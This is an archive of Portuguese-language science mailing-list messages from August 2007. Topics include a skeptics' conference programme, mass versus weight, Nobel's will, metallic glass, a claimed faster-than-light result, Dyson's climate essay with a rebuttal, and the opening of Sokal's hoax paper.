14h50 a 15h30: Pensamento Crítico - Panorama da América Latina - Sr.
Alejandro J. Borgo (Pensar - CFI/Argentina)
15h30 a 15h50: Café
15h50 a 16h30: A defesa do pensamento científico nas universidades e
centros de pesquisa (mesa-redonda).
16h40 a 17h10: Resultados preliminares da pesquisa sobre
Pseudociências (alunos do LIGEA)
19h00 a 19h40: Ilusões e equívocos do pensamento humano, - Dr. Sérgio
Navega - (Intelliwise Research and Training).
19h40 a 20h00: Sumário e encerramento, - Prof. Dr. Francisco Stefano
Wechsler - UNESP).

Taxa de inscrição: R$ 60,00
Mais informações: palestrasreflexoes2007@gmail.com
-------------

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Nobel de Física
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/08/2007 19:08

De Takata:
>Agora falta o hall dos nobelistas de outras áreas: química e
fisiologia, p.e.

Concordo plenamente.
Ainda não coloquei nada de Química, pois ainda não entendi como eles, os químicos, conseguem colocar centímetros cúbicos dentro de frascos e garrafas redondas!

Sim, para nós pode parecer piada, mas não é! Posso até lhe enviar alguns e-mails que recebo pedindo como fazer para 'calibrar' um tubo cilíndrico (eles dizem 'redondo') em cm³ e mm³ .

Na dúvida, eis um de hoje:
>Leo bom dia !! poreria por favor me explicar com calculo as medidas para
centimetros cubicos,em uma bureta com 41.50 mm de diametro por 280 mm de
altura!!! Ela é redonda! fico no aguardo desde ja muito grato!!!<


[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] I Jornada em Defesa do Pensamento Científico
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/08/2007 19:19

Oi Roberto,

estou tremendamente inclinado a assistir essa palestra. Vamos organizar para irmos lá? Posso sair aqui de Barretos no dia 18 às 00:10h e chegar ai pelas 6:00h da matina, via ônibus (aqui ainda não tem avião!). Vou para a casa da primeira ex-esposa e de lá saímos para o Butantã (uma opção). Pego um hotel próximo ao metrô do Paraíso e de lá saímos para o Butantã (outra opção).
Topa!
Vamos papear com o Sérgio Navega e provavelmente com Dr. Umberto Giuseppe Cordani (meu amigo desde os tempos do Roosevelt, São Joaquim; já esteve em Bebedouro em minha casa.) e outros.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 15 de agosto de 2007 17:38
Assunto: [ciencialist] I Jornada em Defesa do Pensamento Científico


A disciplina de Metodologia Científica do curso de Geociências e
Educação Ambiental do Instituto de Geociências da USP e a Sociedade
Brasileira de Céticos e Racionalistas realizarão a I Jornada em Defesa
do Pensamento Científico.

Abaixo mais detalhes e a programação:
-----------------
Data: 18 de setembro (terça-feira)
Local: IGc/USP - R. do Lago, 562 - Cid. Universitária - Butantã - São
Paulo - SP

Programação:
09h10 a 09h30: Abertura Prof. Drs. Arlei Benedito Macedo (USP) e
Renato Sabbatini (Unicamp).
09h40 a 10h20: Analfabetismo científico, Prof. Dr. Renato Sabbatini
(Unicamp).
10h20 a 10h40: Café.
10h40 a 11h20: Criacionismo, Prof. Dr. Mário de Pinna (USP).
11h30 a 12h10: Como vender o pensamento não-científico, Prof. Dr.
Francisco Stefano Wechsler (UNESP)
12h10 a 14h00: Almoço.
14h00 a 14h40: Sensacionalismo e Jornalismo Científico, - Ulisses
Capozzoli - Astronomy Brasil).
14h50 a 15h30: Pensamento Crítico - Panorama da América Latina - Sr.
Alejandro J. Borgo (Pensar - CFI/Argentina)
15h30 a 15h50: Café
15h50 a 16h30: A defesa do pensamento científico nas universidades e
centros de pesquisa (mesa-redonda).
16h40 a 17h10: Resultados preliminares da pesquisa sobre
Pseudociências (alunos do LIGEA)
19h00 a 19h40: Ilusões e equívocos do pensamento humano, - Dr. Sérgio
Navega - (Intelliwise Research and Training).
19h40 a 20h00: Sumário e encerramento, - Prof. Dr. Francisco Stefano
Wechsler - UNESP).

Taxa de inscrição: R$ 60,00
Mais informações: palestrasreflexoes2007@gmail.com
-------------

[]s,

Roberto Takata




SUBJECT: Re: I Jornada em Defesa do Pensamento Científico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/08/2007 20:14

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> estou tremendamente inclinado a assistir essa palestra.

Será um prazer e uma honra contarmos com sua presença.

[]s,

Roberto Takata



SUBJECT: Re: I Jornada em Defesa do Pensamento Científico
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/08/2007 23:18

Oi Takata

Eu também gostaria de ir, e conhecer alguns amigos aqui da lista, além
de assistir as palestras, mas não tenho certeza de estar disponível
nesta data. É possível fazer a inscrição no dia do evento, ou precisa
ser antecipadamente?

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Oi Roberto,
>
> estou tremendamente inclinado a assistir essa palestra. Vamos
organizar para irmos lá? Posso sair aqui de Barretos no dia 18 às
00:10h e chegar ai pelas 6:00h da matina, via ônibus (aqui ainda não
tem avião!). Vou para a casa da primeira ex-esposa e de lá saímos para
o Butantã (uma opção). Pego um hotel próximo ao metrô do Paraíso e de
lá saímos para o Butantã (outra opção).
> Topa!
> Vamos papear com o Sérgio Navega e provavelmente com Dr. Umberto
Giuseppe Cordani (meu amigo desde os tempos do Roosevelt, São Joaquim;
já esteve em Bebedouro em minha casa.) e outros.
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "rmtakata" <roberto.takata@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: quarta-feira, 15 de agosto de 2007 17:38
> Assunto: [ciencialist] I Jornada em Defesa do Pensamento Científico
>
>
> A disciplina de Metodologia Científica do curso de Geociências e
> Educação Ambiental do Instituto de Geociências da USP e a Sociedade
> Brasileira de Céticos e Racionalistas realizarão a I Jornada em Defesa
> do Pensamento Científico.
>
> Abaixo mais detalhes e a programação:
> -----------------
> Data: 18 de setembro (terça-feira)
> Local: IGc/USP - R. do Lago, 562 - Cid. Universitária - Butantã - São
> Paulo - SP
>
> Programação:
> 09h10 a 09h30: Abertura Prof. Drs. Arlei Benedito Macedo (USP) e
> Renato Sabbatini (Unicamp).
> 09h40 a 10h20: Analfabetismo científico, Prof. Dr. Renato Sabbatini
> (Unicamp).
> 10h20 a 10h40: Café.
> 10h40 a 11h20: Criacionismo, Prof. Dr. Mário de Pinna (USP).
> 11h30 a 12h10: Como vender o pensamento não-científico, Prof. Dr.
> Francisco Stefano Wechsler (UNESP)
> 12h10 a 14h00: Almoço.
> 14h00 a 14h40: Sensacionalismo e Jornalismo Científico, - Ulisses
> Capozzoli - Astronomy Brasil).
> 14h50 a 15h30: Pensamento Crítico - Panorama da América Latina - Sr.
> Alejandro J. Borgo (Pensar - CFI/Argentina)
> 15h30 a 15h50: Café
> 15h50 a 16h30: A defesa do pensamento científico nas universidades e
> centros de pesquisa (mesa-redonda).
> 16h40 a 17h10: Resultados preliminares da pesquisa sobre
> Pseudociências (alunos do LIGEA)
> 19h00 a 19h40: Ilusões e equívocos do pensamento humano, - Dr. Sérgio
> Navega - (Intelliwise Research and Training).
> 19h40 a 20h00: Sumário e encerramento, - Prof. Dr. Francisco Stefano
> Wechsler - UNESP).
>
> Taxa de inscrição: R$ 60,00
> Mais informações: palestrasreflexoes2007@...
> -------------
>
> []s,
>
> Roberto Takata
>




SUBJECT: *ASTRONOMICANDO* - Comunicado
FROM: Observatório Monoceros <observatorio.monoceros@gmail.com>
TO: El Cyberastrónomo <cyberastronomo@yahoogroups.com>, "Monoceros-Grupo" <Observatorio_Monoceros@yahoogrupos.com.br>
CC: Urânia <urania_br@yahoogrupos.com.br>, <telescopios_cielosur@gruposyahoo.com.ar>, "SolarAstronomy" <SolarAstronomy@yahoogroups.com>, <sociedadmarciana@yahoogroups.com>, "REANET" <reanet@yahoogrupos.com.br>, "Marcomede Rangel" <marcomed@on.br>, "RadioKosmos" <radiokosmos@kosmos.com.mx>, <planeta-azul-liada@gruposyahoo.com.ar>, "- Guilherme Serra Alves Pereira" <guisap@gbl.com.br>, <observadorescometas@yahoogroups.com>, "NOVIDADES_GEA" <novidades-gea@yahoogrupos.com.br>, "URANOMETRIA NOVA" <uranometrianova@yahoo.com.br>, "Edney Jones Rezende de Moraes" <edneyjones@yahoo.com.br>, <meteoros-liada@gruposyahoo.com.ar>, "Kjell Inge Malde" <cvhelios@gmail.com>, "OBSERVACAO LUNAR" <observacao_lunar@yahoogrupos.com.br>, "Foro Liada" <foro-liada@gruposyahoo.com.ar>, "Observatorio Kepler" <observatorio_kepler@gruposyahoo.com>, "Cristovao Jacques" <cjacqueslf@yahoo.com.br>, <foro-aasp@yahoogroups.com>, <erwerlam@yahoo.com.br>, Agrupación Astronómica de Córdoba <astrocord@yahoogroups.com>, <clubsurastronomico@gruposyahoo.com.ar>, "ClubedAstronomia" <ClubedAstronomia@yahoogrupos.com.br>, <circulares_astronomicas@yahoogrupos.com.mx>, "Ciencialist" <ciencialist@yahoogrupos.com.br>, "Centroastronomos" <centroastronomos@yahoogroups.com>, "Foro Planetario Barquisimeto" <foroPB@gruposyahoo.com>, <AstroUruguay@groups.msn.com>, <astronomynews@yahoogrupos.com.br>, Asociación de Aficionados a la Astronomía. <foro-aaa@gruposyahoo.com>, <astronautica-liada@gruposyahoo.com.ar>, "ASTROALCOY" <astroalcoy@yahoogroups.com>, <astro_mexico@yahoogrupos.com.mx>, <arqueologiamaya@yahoogroups.com>
DATE: 15/08/2007 23:56


Prezados amigos,

É com muita satisfação que anunciamos a publicação da primeira parte de nosso Boletim de Notícias ''ASTRONOMICANDO''.

Este espaço é destinado à divulgação de notícias e artigos de Astronomia e Ciências Afins, bem como pesquisas realizadas em nossa instituição e em instituições co-irmãs, de amadores e profissionais, efemérides, fotografias, entre outros.

Convido-os à visitação e , também, à participação conosco nesta nova empreitada do Monoceros.

Anúncios , artigos , pesquisas , notícias , comentários, enfim , a participação de todos é muitíssimo bem-vinda.

Idiomas principais para publicações: Português, Espanhol, Inglês e Italiano.

Eis o endereço eletrônico:

http://astronomicando.blogspot.com/


Comunicamos, também, que:

1] Já encontra-se em fase de editoração, a obra ''Cadernos de Astronomia'' - Volume I , do OAM;


2] Em breve, novos cursos à distância, elaborados pelo OAM , e com certificado de conclusão dos mesmos;


3] Realização da ''Semana de Astronomia-2008'', prevista para abril do mesmo, com diversas palestras e eventos que divulgaremos brevemente.



Bons céus a todos !!!!

Saudações Cordiais,


Lucimary Vargas de Oliveira Guardamino Espinoza
Presidente
Observatório Astronômico Monoceros
Estacão Meteorológica Nº083/5ºDISME-INMET
CEPESLE / AHAP
Além Paraíba-MG-Brasil
www.monoceros.xpg.com.br
http://astronomicando.blogspot.com/
www.arquivohistorico-mg.com.br
http://br.groups.yahoo.com/group/Observatorio_Monoceros/
MSN: observatoriomonoceros@hotmail.com


Leila Ossola
Rio de Janeiro - RJ
Diretora
Observatório Astronomico Monoceros
www.monoceros.xpg.com.br
www.arquivohistorico-mg.com.br
www.cbg.org.br
http://it.groups.yahoo.com/group/aleitalia
msn leilaossola@hotmail.com











[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: massa e peso
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "Washington Mauro Soares Xavier da Silva" <was.msx@gmail.com>
DATE: 16/08/2007 07:13

Olá W. Mauro,

há balanças e balanças; algumas trabalham com contra-pesos e outras trabalham com molas. As de contra-pesos são realmente balanças e nos fornecem a "massa", por comparação com "massa" (massores = contra-pesos); as de mola são dinamômetros e nos fornecem o peso em kgf pela deformação da mola (lei de Hooke).
Assim, devido às poucas sensibilidades dessas balanças comerciais, se vc subir numa balança e ela acusar 60 kg, ao subir na outra, de mola, ela acusará 60 kgf. Desse modo, grosseiramente, sua massa é de 60 kg e seu peso é de 60 kgf.
Essa identidade numérica só será 'realmente verdadeira' se no local das 'pesagens' o valor da gravidade for normal, ou seja, g = 9,80 665 m/s². Se a gravidade é normal, nesse local, o valor numérico que mede a massa em kg é igual ao valor numérico que mede o peso em kgf.
De fato, com a balança de contra-peso, ela indicará sua massa (invariável) (60 kg) em qualquer lugar da Terra, mas a balança de molas não! O peso de um corpo, em kgf, depende da aceleração local da gravidade ( P = m.g ). Nessa expressão, a massa não está em kg e sim em u.t.m (unidade técnica de massa).

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Washington Mauro Soares Xavier da Silva
Para: leobarretos@uol.com.br
Enviada em: segunda-feira, 13 de agosto de 2007 10:56


Olá... eu estava navegando no site Feira de Ciências, e tive uma dúvida, e como o seu e-mail estava no site, achei que era para sugestões... me desculpe se não era para esse intuíto.

Mas voltando ao assunto, tenho uma dúvida que gostaria, se possível, que me esclareça

Quando subo na balança a medição é igual a 60 Kg. Essa medição corresponde à minha massa em Kg ou ao meu peso em Kgf. Levando em conta que a minha massa está sofrendo a força da gravidade no momento da medição.
Tenho muita curiosidade nesse campo da Física e aguardo anciosamente a sua resposta.

Washington (Presidente Jânio Quadros - BA)


------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Nobel de Física
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/08/2007 09:09

Prof. Léo:

Custei pra entender o que o sr estava falando, depois que fui ver no
link que te passei, e descobri que a única coisa que não tinha era a
tal biografia do Nobel!
Pardón, agora vai o link conferido, certificado "ISO 1.257":
http://pt.wikipedia.org/wiki/Alfred_Nobel

A contribuição do Alfred Nobel não foi à ciência, mas sim, na
idealização desse prêmio que se tornou o alívio de consciência mais
famoso da história. Entre outras coisas, Nobel aperfeiçoou um
explosivo um pouco mais seguro do que a nitroglicerina (ou seja, a
dinamite), e fabricou munições. Seu irmão morreu em uma das
experiências, e ele via seus inventos serem usados para fins bélicos,
o que provavelmente o abalou bastante, e o fez decidir criar alguma
coisa boa. Daí, a idéia do prêmio. Abaixo, segue o testamento do
sujeito , retirado do site: www.nobelpreis.org

Testamento de Nobel:

"Todo o meu patrimônio deverá ser tratado da seguinte maneira. O
capital será investido pêlos meus executores em títulos seguros e
deverá constituir um fundo, a participação onde deverá ser distribuído
anualmente em forma de prêmio para aqueles que, durante o precedente
ano, deverá ter conferido o grande benefício para a humanidade.
A dita participação deverá ser dividida em cinco partes iguais, onde
deverá ser aplicado como se segue: uma parte para a pessoa que deverá
ter feito a mais importante descoberta ou invenção no campo da física;
uma parte para a pessoa que deverá ter feito a mais importante
descoberta química ou aperfeiçoamento; uma parte para a pessoa que
deverá ter feito a mais importante descoberta no domínio da fisiologia
ou medicina; uma parte para a pessoa que deverá ter produzido no campo
da literatura o mais impressionante trabalho de uma tendência
idealista; e uma parte para a pessoa que deverá ter feito mais ou
melhor trabalho para a fraternidade entre as nações, para a abolição
ou redução de exércitos permanentes e para conservação e estímulos de
congressos de paz.

O prêmio para físicos e químicos deverá ser entregado pela Swedish
Academy of Sciences; o de fisiologia ou trabalhos médicos pelo
Caroline Institute em Estocolmo; o de literatura pela Academy em
Estocolmo; e para os campeões da paz por um comitê de cinco pessoas
ainda para ser eleito pela Norwegian Storting. É o meu desejo expresso
que quando entregue os prêmios nenhuma consideração deverá ser feita
para a nacionalidade dos candidatos, para que o mais qualificado
deverá receber o prêmio, seja ele escandinavo ou não."

- Paris, novembro 27, 1895

-Alfred Bernard Nobel"

Fonte: http://www.nobelpreis.org/portugues/index.htm#will

Pena que tá mixuruca a biografia da wikipédia. Alguém tem outra sugestão?

Gil

Em 15/08/07, Luiz Ferraz Netto<leobarretos@uol.com.br> escreveu:
> Excelente idéia Gil,
> mas, se eu tirar o aspecto 'divino' daquele texto, o que sobrará? Ali pulula D'us para todos os lados e inclusive "saídas pela tangente" religiosas monumentais, tal como:
>
> >""Lemos no Livro de Bereshit que quando Adam e Eva pecaram, eles se esconderam entre as árvores no Jardim do Éden, e D'us os chamou: 'Onde estão vocês?' O que desejo saber é isto: Se D'us sabe e vê tudo, certamente sabia onde eles estavam. Por que Ele precisou perguntar 'Onde estão vocês?'"
>
> O Rebe respondeu: "As palavras da Torá não falavam apenas sobre aquele momento, mas por todo o tempo. Assim é com a pergunta que D'us fez a Adam e Eva. Não era dirigida apenas a eles, mas a cada um de nós em toda geração. ""
>
> Que esperteza não? E, que isso tem a ver com com o Prêmio Nobel? Por acaso foi D'us que inventou a dinamite? Se foi (indiretamente, através de Nobel), porque não pesa nas costas D'le todas as desgraças e mortes decorrentes da invenção?
>
> aquele abraço,
>
> Indique-me um texto que fale do homem, seus esforços, suas conquistas e seu legado à ciência que eu, com todo gosto, colocarei no Imperdível.
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Gil" <nanolink01@gmail.com>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: quarta-feira, 15 de agosto de 2007 15:14
> Assunto: Re: [ciencialist] Re: Nobel de Física
>
>
> Prof. Léo:
>
> Que tal link ao final, para a biografia do Alfred Nobel? É bastante
> interessante. E acho que é o menos homenageado pelos fãs do prêmio.
>
> http://www.chabad.org.br/biblioteca/artigos/nobel/home.html
>
> Gil
>
>
>
>
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>
>
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> Links do Yahoo! Grupos
>
>
>


SUBJECT: Re: Rock dos componentes eletrônicos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/08/2007 11:38

--- Em ciencialist@yahoogrupos.com.br, "Mauro" <bombaspr@...> escreveu
> Mauro: Mas isso não significa necessariamente que o mesmo aconteça com
> todos os animais, sobretudo com nossa espécie que aparentemente não é
> tão suscetível a feromonios.

De fato não significa. Mas *pode* significar q ocorra em outros
mamíferos. Talvez algo similar em humanos? É uma possibilidade q o
estudo abre para investigação.

[]s,

Roberto Takata



SUBJECT: Star Trek: Alumínio transparente vem aí?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/08/2007 12:09

Todo trekker se orgulha do ALONTM por lembrar o alumínio transparente
desenvolvido com a ajuda do Sr. Scotty (para construir um tanque de
transporte para uma baleia jubarte), qdo a tripulação da Enterprise
volta no tempo e salvar a Terra do futuro da destruição.

Mas o ALONTM não é bem um alumínio transparente. É um composto
cerâmico com minerais de alumínio.

Bem, o q Bhat e colaboradores obtiveram em um estudo relatado na
Nature desta semana tb não é: o q eles conseguiram foi vidro de germânio.

Bhat MH et al 2007 - Vitrification of a monatomic metallic liquid.
Nature 448: 787-90
doi:10.1038/nature06044

Eles esfriaram germânio líquido sob pressão e conseguiram obter uma
solidificação vítrea: sem a formação de cristais ordenados. Há 50
anos, David Turnbull obteve a vitrificação de metal por um processo
chamado super-resfriamento, mas o resultado era instável, havendo uma
grande tendência dos átomos desse vidro sofrerem cristalização. Com
uma mistura adequada de elementos metálicos diferentes - ligas - é
possível se obter vidro metálico mais estável. Mas agora foi produzido
vidro metálico estável composto por apenas um elemento.

Mais em:
http://www.nature.com/nature/journal/v448/n7155/full/448758a.html
-------------------
[]s,

Roberto Takata



SUBJECT: A ciência cidadã? Artigo LQES
FROM: Aline Santos <haline_santos@yahoo.com.br>
TO: ciencialist <ciencialist@yahoogrupos.com.br>
DATE: 16/08/2007 15:10

Boa tarde,
Recebi este artigo e achei bem interessante, completa o discutido antes aqui.

Abraços

Aline


LQES NEWS - ISSN 1677-5058 – Ano VI – no 131, 16 de agosto de 2007
© 2001-2007 LQES


ARTIGOS DE OPINIÃO
A ciência cidadã ?



A "ciência cidadã" existe? É uma das questões transversais que parecem se colocar os cientistas pertencentes a disciplinas diferentes. Tenho encontrado, com surpresa, um traço em várias discussões tidas no Googleplex, na rubrica SciFoo, organizado por Tim O'Reilly (1). Há até um site que trata deste assunto (2).


Isto começa por uma inquietação com educação. Ainda que os mais jovens se comportem face ao mundo que descobrem como pesquisadores testando todas as soluções possíveis, naqueles um pouco menos jovens "a ciência cessa rápido de ser "cool", doce. A motivação se evapora. As mídias, é claro, não ajudam quase nada. "Elas sufocam a curiosidade", estima Rusty Bromley, chefe da Myelin Repair Foundation, que se consagra à pesquisa de tratamentos para curar a esclerose múltipla. "Elas não encorajam as pessoas a colocar questões. Elas dizem "confiem em mim".


Mas a dificuldade é mais profunda, segundo Luciano Floridi, filósofo da informação, que fez observar que "a maior parte das pessoas não "falam matemáticas". Ora, sem as matemáticas não se vai muito longe". Certo, certo, e portanto um professor do MIT, cujo nome não pude ler, observou que "Os grupos de auxílio para certas doenças olham com condescendência os médicos que "depois de tudo, não são senão generalistas" e sabem menos que eles sobre o mal que os afetam.


PeerToPatent (3) é uma experiência concreta, que faz com que o público participe das pesquisas prévias à atribuição de patentes. Segundo Beth Noveck, uma das coordenadoras do Projeto, os responsáveis governamentais pela concessão de patentes não têm senão vinte minutos para a análise de cada uma e nem podem usar a Internet para tentar saber mais sobre o assunto. A associação se dedica, portanto, a reunir pessoas capazes de discutir as demandas, encontrar os documentos pertinentes, anotar e remeter às autoridades competentes para que decidam com conhecimento de causa a concessão.


Melhor informar o público e fazê-lo participar de certos debates ou processos, conduzindo a tomadas de decisão pelas autoridades vem sendo cada vez mais admitido. Mas é difícil ir além. Somos vítimas de uma pretensa contradição entre democracia e expertise. "Não que as creia necessariamente incompatíveis", precisou-me Noveck, contudo, "mais as pessoas tendem a acreditar nisso". O mundo seria muito complexo para ser gerido democraticamente. Perigoso!


Mas isso não é senão uma questão de expertise. No coração dessa problemática encontra-se a dificuldade de gerir verdadeiras discussões contraditórias. É por isso que Éric Drexler, apóstolo da nanotecnologia, pediu - durante um debate sobre a escolha colaborativa das orientações políticas -, a criação de um software "que seja também bom para mostrar as controvérsias, que pode ser a Wikipedia, que poderá ir "colecionando" fatos e opiniões".


Eis aí um desafio interessante!


Le Monde, 07 août, 2007 (Tradução - MIA).



Veja mais:

(1) Un week-end chez Google


(2) Citizen Sci Project


(3) PeerToPatent.


Flickr agora em português. Você clica, todo mundo vê.
http://www.flickr.com.br/

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: [RN] Cubo mágico em 26 passos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/08/2007 15:29

Supercomputador resolve cubo mágico com 26 movimentos
http://www.estadao.com.br/tecnologia/not_tec35750,0.htm
--------------------
[]s,

Roberto Takata



SUBJECT: Cientistas alegam ter quebrado a velocidade da luz
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/08/2007 16:48

Quinta, 16 de agosto de 2007, 14h54 Atualizada às 14h52

Dois cientistas alemães alegam ter conseguido quebrar a velocidade da
luz a partir de uma experiência com prismas, informou nesta quinta-feira
o jornal britânico Telegraph. Se provado, o feito pode pôr em dúvida a
teoria da relatividade, de Albert Einstein.

Segundo Albert Einstein, seria necessário uma infinita quantidade de
energia para colocar um objeto a mais de 299.792.458 metros por segundo,
a velocidade da luz. No entanto, os cientistas Gunter Nimtz e Alfons
Stahlhofen, da Universidade de Koblenz, dizem que podem ter encontrado
uma brecha na chave dessa teoria.

Os físicos afirmam que conduziram um experimento no qual microondas de
fótons (pequenos pacotes de luz) foram conduzidas "instantaneamente"
entre um par de prismas separados por uma distância aproximada de 1 m.
Os cientistas estavam investigando um fenômeno chamado "tunelamento
quântico", que permite que partículas subatômicas aparentemente quebrem
leis inquebráveis da física.

"Até o momento, esta foi a única violação da teoria da relatividade que
eu conheço", disse Nimtz à revista New Scientist. Viajar mais rápido do
que a luz pode levar a uma variedade bizarra de conseqüências, como um
astronauta chegar a um destino antes mesmo de partir.

Redação Terra

http://noticias.terra.com.br/ciencia/interna/0,,OI1833948-EI238,00.html


SUBJECT: Re: [ciencialist] Cientistas alegam ter quebrado a velocidade da luz
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/08/2007 17:26

Aposto que eles usaram feixes colimados de tétrions!

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Nando" <nando.str@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, August 16, 2007 4:48 PM
Subject: [ciencialist] Cientistas alegam ter quebrado a velocidade da luz


> Quinta, 16 de agosto de 2007, 14h54 Atualizada às 14h52
>
> Dois cientistas alemães alegam ter conseguido quebrar a velocidade da
> luz a partir de uma experiência com prismas, informou nesta quinta-feira
> o jornal britânico Telegraph. Se provado, o feito pode pôr em dúvida a
> teoria da relatividade, de Albert Einstein.
>
> Segundo Albert Einstein, seria necessário uma infinita quantidade de
> energia para colocar um objeto a mais de 299.792.458 metros por segundo,
> a velocidade da luz. No entanto, os cientistas Gunter Nimtz e Alfons
> Stahlhofen, da Universidade de Koblenz, dizem que podem ter encontrado
> uma brecha na chave dessa teoria.
>
> Os físicos afirmam que conduziram um experimento no qual microondas de
> fótons (pequenos pacotes de luz) foram conduzidas "instantaneamente"
> entre um par de prismas separados por uma distância aproximada de 1 m.
> Os cientistas estavam investigando um fenômeno chamado "tunelamento
> quântico", que permite que partículas subatômicas aparentemente quebrem
> leis inquebráveis da física.
>
> "Até o momento, esta foi a única violação da teoria da relatividade que
> eu conheço", disse Nimtz à revista New Scientist. Viajar mais rápido do
> que a luz pode levar a uma variedade bizarra de conseqüências, como um
> astronauta chegar a um destino antes mesmo de partir.
>
> Redação Terra
>
> http://noticias.terra.com.br/ciencia/interna/0,,OI1833948-EI238,00.html
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com



SUBJECT: Freeman Dyson - HERETICAL THOUGHTS ABOUT SCIENCE AND SOCIETY
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/08/2007 17:49

Texto do cara que criou o conceito da esfera de Dyson...

Resumo:

HERETICAL THOUGHTS ABOUT SCIENCE AND SOCIETY
by Freeman Dyson

My first heresy says that all the fuss about global warming is grossly
exaggerated. Here I am opposing the holy brotherhood of climate model
experts and the crowd of deluded citizens who believe the numbers
predicted by the computer models. Of course, they say, I have no degree
in meteorology and I am therefore not qualified to speak. But I have
studied the climate models and I know what they can do. The models solve
the equations of fluid dynamics, and they do a very good job of
describing the fluid motions of the atmosphere and the oceans. They do a
very poor job of describing the clouds, the dust, the chemistry and the
biology of fields and farms and forests. They do not begin to describe
the real world that we live in. The real world is muddy and messy and
full of things that we do not yet understand. It is much easier for a
scientist to sit in an air-conditioned building and run computer models,
than to put on winter clothes and measure what is really happening
outside in the swamps and the clouds. That is why the climate model
experts end up believing their own models.
http://www.edge.org/3rd_culture/dysonf07/dysonf07_index.html

Resposta:

Resumo:

THE CHANGING ARCTIC: A RESPONSE TO FREEMAN DYSON'S "HERETICAL THOUGHTS"
By Alun Anderson

Knowing that Arctic climate models are imperfect, it would be reassuring
for me, if not for the scientists, to be able to write that scientists
keep making grim predictions that just that don't come true. If that
were so, we could follow Dyson's line that the models aren't so good and
"the fuss is exaggerated". Scarily, the truth is the other way around.
The ice is melting faster than the grimmest of the scientist's
predictions, and the predictions keep getting grimmer. Now we are
talking about an Arctic free of ice in summer by 2040. That's a lot of
melting given that, in the long, dark winter the ice covers an area
greater than that of the entire United States.
http://www.edge.org/documents/archive/edge220.html


SUBJECT: TRANSGREDINDO AS FRONTEIRAS: EM DIREÇÃO A UMA HERMENÊUTICA TRANSFORMATIVA DA GRAVITAÇÃO QUÂNTICA
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: Acropolis_@yahoogrupos.com.br, ciencialist <ciencialist@yahoogrupos.com.br>, ciencias2005@yahoogrupos.com.br, lucia2245@hotmail.com, Conversa_de_Botequim@yahoogrupos.com.br, gentecomgentedentro <gentecomgentedentro@googlegroups.com>, Observatorio_Monoceros@yahoogrupos.com.br
DATE: 16/08/2007 18:37

Alan D. Sokal
*Departamento de F�sica
Universidade de Nova Iorque
4 Washington Place
New York, NY 10003 USA*
Telephone: (212) 998-7729
Fax: (212) 995-4016

*28 de Novembro de 1994
revisado em 13 de Maio de 1995*

Este artigo foi publicado na *Social Text* *#46/47*, pp. 217-252
(primavera/ver�o 1996)

*Informa��o Biogr�fica:* O autor � Professor de F�sica na Universidade de
Nova Iorque. Lecionou muitas vezes na Europa e na Am�rica Latina, incluindo
a Universit� di Roma "La Sapienza" e, durante o governo Sandinista, na
Universidad Nacional Aut�noma de Nicaragua. Ele � co-autor, com Roberto
Fern�ndez e J�rg Fr�hlich, de *Random Walks, Critical Phenomena, e
Triviality in Quantum Field Theory* (Springer, 1992).
------------------------------

Transgredir fronteiras disciplinares... [�] um empreendimento subversivo,
uma vez que pode vir a violar os santu�rios de maneiras de percep��o j�
aceitas. Entre as fronteiras mais fortificadas est�o aquelas entre as
ci�ncias naturais e as humanidades.

*� Valerie Greenberg, Transgressive Readings (1990, 1)*

A batalha pela transforma��o de ideologia em ci�ncia cr�tica... prossegue
alicer�ada na id�ia de que a cr�tica de todas as pressuposi��es da ci�ncia e
da ideologia deve ser o �nico princ�pio absoluto da ci�ncia.

